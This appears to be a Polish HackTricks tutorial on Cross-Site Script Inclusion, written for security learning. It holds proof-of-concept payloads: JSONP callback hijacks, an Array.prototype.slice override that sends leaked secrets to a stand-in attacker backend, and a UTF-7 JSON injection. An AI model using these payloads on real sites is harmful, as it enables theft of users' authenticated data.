XSSI (Cross-Site Script Inclusion)

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
Zdobądź oficjalne gadżety PEASS & HackTricks
Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.

Podstawowe informacje

Cross-Site Script Inclusion (XSSI) to podatność wynikająca z natury znacznika script w HTML. W przeciwieństwie do większości zasobów, które podlegają Same-Origin Policy (SOP), skrypty mogą być dołączane z różnych domen. Zachowanie to ma ułatwić korzystanie z bibliotek i innych zasobów hostowanych na różnych serwerach, ale wprowadza również potencjalne ryzyko bezpieczeństwa.

Kluczowe cechy XSSI:

Ominięcie SOP: Skrypty są zwolnione z Same-Origin Policy, co pozwala na ich dołączanie między domenami.
Ujawnienie danych: Atakujący może wykorzystać to zachowanie do odczytywania danych wczytanych za pomocą znacznika script.
Wpływ na dynamiczny JavaScript/JSONP: XSSI jest szczególnie istotne dla dynamicznego JavaScriptu lub JSON z Paddingiem (JSONP). Te technologie często wykorzystują informacje "ambient-authority" (takie jak ciasteczka) do uwierzytelniania. Gdy żądanie skryptu jest wysyłane do innego hosta, te poświadczenia (np. ciasteczka) są automatycznie dołączane do żądania.
Wyciek tokena uwierzytelniającego: Jeśli atakujący może wprowadzić przeglądarkę użytkownika do wysłania żądania skryptu do serwera, którym kontroluje, może mieć dostęp do wrażliwych informacji zawartych w tych żądaniach.

Typy

Statyczny JavaScript - Reprezentuje konwencjonalną formę XSSI.
Statyczny JavaScript z uwierzytelnianiem - Ten typ jest odrębny, ponieważ wymaga uwierzytelnienia do dostępu.
Dynamiczny JavaScript - Dotyczy JavaScriptu, który dynamicznie generuje zawartość.
Non-JavaScript - Odnosi się do podatności, które nie dotyczą bezpośrednio JavaScriptu.

Następujące informacje są podsumowaniem https://www.scip.ch/en/?labs.20160414. Sprawdź go dla dalszych szczegółów.

Regularne XSSI

W tym podejściu prywatne informacje są osadzone w globalnie dostępnym pliku JavaScript. Atakujący mogą zidentyfikować te pliki za pomocą metod takich jak odczyt pliku, wyszukiwanie słów kluczowych lub wyrażeń regularnych. Po zlokalizowaniu skryptu zawierającego poufne informacje, może on zostać dołączony do złośliwej zawartości, umożliwiając nieautoryzowany dostęp do wrażliwych danych. Poniżej przedstawiono przykładową technikę wykorzystania:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamiczne XSSI oparte na JavaScript i uwierzytelnione XSSI

Te rodzaje ataków XSSI polegają na dynamicznym dodawaniu poufnych informacji do skryptu w odpowiedzi na żądanie użytkownika. Wykrycie można przeprowadzić, wysyłając żądania z i bez plików cookie oraz porównując odpowiedzi. Jeśli informacje różnią się, może to wskazywać na obecność poufnych informacji. Ten proces można zautomatyzować za pomocą narzędzi takich jak rozszerzenie Burp DetectDynamicJS.

Jeśli poufne dane są przechowywane w zmiennej globalnej, można je wykorzystać za pomocą podobnych metod do tych używanych w przypadku zwykłego XSSI. Jednak jeśli poufne dane są zawarte w odpowiedzi JSONP, atakujący mogą przejąć funkcję zwrotną, aby odzyskać informacje. Można to zrobić poprzez manipulowanie obiektami globalnymi lub ustawienie funkcji do wykonania przez odpowiedź JSONP, jak pokazano poniżej:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Dla zmiennych nie znajdujących się w globalnej przestrzeni nazw, czasami można wykorzystać modyfikację prototypu. Ta technika wykorzystuje konstrukcję języka JavaScript, w której interpretacja kodu polega na przeszukiwaniu łańcucha prototypów w celu zlokalizowania wywołanej właściwości. Poprzez nadpisanie określonych funkcji, takich jak slice w obiekcie Array, atakujący mogą uzyskać dostęp i wyciec nieglobalne zmienne:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Dodatkowe informacje na temat wektorów ataku można znaleźć w pracy badawczej Sebastiana Lekiesa, który prowadzi listę wycieków.

Non-Script-XSSI

Badania Takeshi Terady wprowadzają inną formę XSSI, w której pliki Non-Script, takie jak CSV, są wyciekane międzydomenowo poprzez dołączanie ich jako źródeł w tagu script. Historyczne przypadki XSSI, takie jak atak Jeremiaha Grossmana w 2006 roku, który pozwalał na odczytanie całej książki adresowej Google, oraz wyciek danych JSON Joe Walkera z 2007 roku, podkreślają powagę tych zagrożeń. Dodatkowo, Gareth Heyes opisuje wariant ataku, w którym wykorzystuje się kodowanie UTF-7 JSON do uniknięcia formatu JSON i wykonania skryptów, co jest skuteczne w niektórych przeglądarkach:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>